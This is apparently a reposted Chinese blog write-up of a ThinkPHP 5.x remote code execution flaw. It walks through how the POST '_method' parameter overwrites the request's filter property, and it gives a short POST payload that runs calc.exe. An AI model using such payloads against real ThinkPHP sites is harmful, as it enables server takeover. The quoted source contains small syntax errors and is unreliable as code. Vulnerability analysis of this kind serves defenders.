Thinkphp5.X全版本通杀漏洞分析

最近爆出了Thinkphp5.0.*全版本代码执行,其中5.1与5.2全版本在生产环境下同样也存在代码执行漏洞


漏洞分析:
文件位置:
\thinkphp\library\think\Request.php

/**
 * 当前的请求类型
 * @access public
 * @param bool $origin 是否获取原始请求类型
 * @return sting
 */
 public function method($origin = false)
 {
     if($origin){
         //获取原始请求类型
         return $this->server('REQUEST_METHOD') ?: 'GET'
     }elseif (!$this->method){
         if(isset($_POST[$this->config['var_method']])){
             $this->method = strtoupper($_POST[$this->config['var_method']]);
             $method = strtolower($this->method);
             $this->($method) = $_POST;
         }elseif ($this->server('HTTP_X_HTTP_METHOD_OVERRIDE')) {
             $this->method = strtoupper($this->server('HTTP_X_HTTP_METHOD_OVERRIDE'));
         }else {
             $this->method = $this->server('REQUEST_METHOD') ?: 'GET';
         }
     }
     return $this->method;
 }

其中:

$this->method = strtoupper($_POST[$this->config['var_method']]);

$method = strtolower($this->method);

$this->{$method} = $_POST;

$method变量是$this->method,其同等于POST的”_method”参数值
然后该处存在一个变量覆盖
我们可以覆盖 $filter 属性值(POC如下)

c=exec&f=calc.exe&&_method=filter&

访问如下图所示:

会爆出一个警告级别的异常,导致程序终止

如何触发:
如果设置忽略异常提示,如下图:

本身项目发布就需要屏蔽异常和错误,所以这个配置是一个正常的配置

之后,通过Payload(POST请求)$filter 属性值:弹出计算器

猜你喜欢

转载自blog.csdn.net/weixin_44489066/article/details/86503230